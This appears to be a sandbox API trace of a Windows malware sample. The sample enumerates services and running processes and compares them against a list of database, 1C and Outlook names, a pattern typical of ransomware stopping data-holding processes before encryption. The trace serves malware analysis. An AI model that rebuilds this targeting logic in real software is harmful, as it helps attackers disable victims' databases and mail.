1 [0162.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.119] lstrlenW (lpString="Netman") returned 6 [0162.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0162.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0162.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0162.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0162.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0162.119] lstrlenW (lpString="netprofm") returned 8 [0162.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.119] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.119] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.120] lstrlenW (lpString="NlaSvc") returned 6 [0162.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.120] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.120] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0162.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.120] lstrlenW (lpString="nsi") returned 3 [0162.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.120] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.120] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.120] lstrlenW (lpString="PcaSvc") returned 6 [0162.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.120] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.120] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.120] lstrlenW (lpString="PlugPlay") returned 8 [0162.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.120] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.121] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.121] lstrlenW (lpString="Power") returned 5 [0162.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.121] lstrlenW (lpString="ProfSvc") returned 7 [0162.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0162.121] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.121] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.121] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.121] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.121] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.121] lstrlenW (lpString="RpcSs") returned 5 [0162.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.121] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.121] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.122] lstrlenW (lpString="SamSs") returned 5 [0162.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.122] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.122] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.122] lstrlenW (lpString="Schedule") returned 8 [0162.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.122] lstrlenW (lpString="SENS") returned 4 [0162.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.122] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.122] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.122] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.123] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.123] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.123] lstrlenW (lpString="Spooler") returned 7 [0162.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.123] lstrlenW (lpString="SysMain") returned 7 [0162.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.123] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.123] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.123] lstrlenW (lpString="Themes") returned 6 [0162.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.123] lstrlenW (lpString="TrkWks") returned 6 [0162.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0162.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0162.123] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0162.124] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0162.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0162.124] lstrlenW (lpString="UxSms") returned 5 [0162.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0162.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0162.124] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0162.124] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0162.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0162.124] lstrlenW (lpString="WdiServiceHost") returned 14 [0162.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0162.124] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0162.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0162.124] lstrlenW (lpString="WdiSystemHost") returned 13 [0162.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0162.124] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0162.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0162.125] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0162.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.125] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0162.125] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0162.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0162.125] lstrlenW (lpString="Winmgmt") returned 7 [0162.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0162.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0162.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0162.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0162.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0162.125] lstrlenW (lpString="WPDBusEnum") returned 10 [0162.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.125] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0162.125] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0162.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0162.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0162.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0162.128] Process32FirstW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.129] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.129] lstrlenW (lpString="System") returned 6 [0162.129] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0162.129] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0162.129] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0162.129] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0162.130] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0162.130] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0162.130] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0162.130] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.130] lstrlenW (lpString="smss.exe") returned 8 [0162.130] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0162.130] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0162.130] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0162.130] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0162.130] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0162.130] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0162.131] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0162.131] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.131] lstrlenW (lpString="csrss.exe") returned 9 [0162.131] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.131] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.131] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.131] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.131] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.131] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.131] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.131] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.132] lstrlenW (lpString="wininit.exe") returned 11 [0162.132] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0162.132] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0162.132] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0162.132] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0162.132] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0162.132] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0162.132] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0162.132] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.133] lstrlenW (lpString="csrss.exe") returned 9 [0162.133] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.133] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.133] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.133] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.133] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.133] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.133] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.133] lstrlenW (lpString="winlogon.exe") returned 12 [0162.134] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0162.134] lstrlenW (lpString="services.exe") returned 12 [0162.134] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0162.134] lstrlenW (lpString="lsass.exe") returned 9 [0162.135] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0162.135] lstrlenW (lpString="lsm.exe") returned 7 [0162.135] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.135] lstrlenW (lpString="svchost.exe") returned 11 [0162.136] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.136] lstrlenW (lpString="svchost.exe") returned 11 [0162.136] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.136] lstrlenW (lpString="svchost.exe") returned 11 [0162.137] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.137] lstrlenW (lpString="svchost.exe") returned 11 [0162.137] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.138] lstrlenW (lpString="svchost.exe") returned 11 [0162.138] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0162.138] lstrlenW (lpString="audiodg.exe") returned 11 [0162.139] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.139] lstrlenW (lpString="svchost.exe") returned 11 [0162.139] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.140] lstrlenW (lpString="svchost.exe") returned 11 [0162.140] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0162.140] lstrlenW (lpString="spoolsv.exe") returned 11 [0162.140] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0162.141] lstrlenW (lpString="taskhost.exe") returned 12 [0162.141] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.141] lstrlenW (lpString="svchost.exe") returned 11 [0162.142] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0162.142] lstrlenW (lpString="userinit.exe") returned 12 [0162.142] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0162.143] lstrlenW (lpString="dwm.exe") returned 7 [0162.143] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0162.143] lstrlenW (lpString="explorer.exe") returned 12 [0162.143] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0162.144] lstrlenW (lpString="3G6885.exe") returned 10 [0162.144] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0162.144] lstrlenW (lpString="reader_sl.exe") returned 13 [0162.145] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0162.145] lstrlenW (lpString="drvinst.exe") returned 11 [0162.145] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0162.145] lstrlenW (lpString="taskhost.exe") returned 12 [0162.146] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0162.146] lstrlenW (lpString="consent.exe") returned 11 [0162.146] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0162.147] lstrlenW (lpString="dllhost.exe") returned 11 [0162.147] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0162.643] lstrlenW (lpString="dllhost.exe") returned 11 [0162.643] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0162.644] CloseHandle (hObject=0x378) returned 1 [0162.644] Sleep (dwMilliseconds=0x1f4) [0163.452] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8c98 [0163.452] EnumServicesStatusExW (in: hSCManager=0x41d8c98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0163.452] GetLastError () returned 0xea 